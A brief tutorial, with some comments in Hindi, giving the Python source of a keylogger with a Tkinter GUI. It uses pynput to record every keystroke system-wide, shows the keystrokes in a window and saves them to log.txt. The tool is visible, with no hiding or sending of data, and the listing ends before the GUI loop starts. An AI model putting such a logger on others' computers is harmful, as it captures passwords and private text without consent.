🔹 Step 1: Install Dependencies

cmd => pip install pynput

🔹 Step 2: Create keylogger.py File

import tkinter as tk

from pynput import keyboard

import threading

log_file = "log.txt"

listener = None  # Global variable for listener

def write_log(text):

    with open(log_file, "a") as f:

        f.write(text)

        f.flush()  # Instant save

def on_press(key):

    try:

        key_text = key.char

    except AttributeError:

        key_text = f" {str(key)} "

    

    log_text.insert(tk.END, key_text)  # GUI pe show karo

    log_text.see(tk.END)  # Auto-scroll

    write_log(key_text)  # File me save karo

def start_logging():

    global listener

    if listener is None or not listener.running:

        listener = keyboard.Listener(on_press=on_press)

        listener.start()

def stop_logging():

    global listener

    if listener and listener.running:

        listener.stop()

        listener = None

# --- GUI Setup ---

root = tk.Tk()

root.title("Keylogger GUI")

root.geometry("400x300")

# Buttons

start_button = tk.Button(root, text="Start Logging", command=start_logging, bg="green", fg="white")

start_button.pack(pady=5)

stop_button = tk.Button(root, text="Stop Logging", command=stop_logging, bg="red", fg="white")

stop_button.pack(pady=5)

# Log Display

log_text = tk.Text(root, height=10, width=50)

log_text.pack(pady=10)
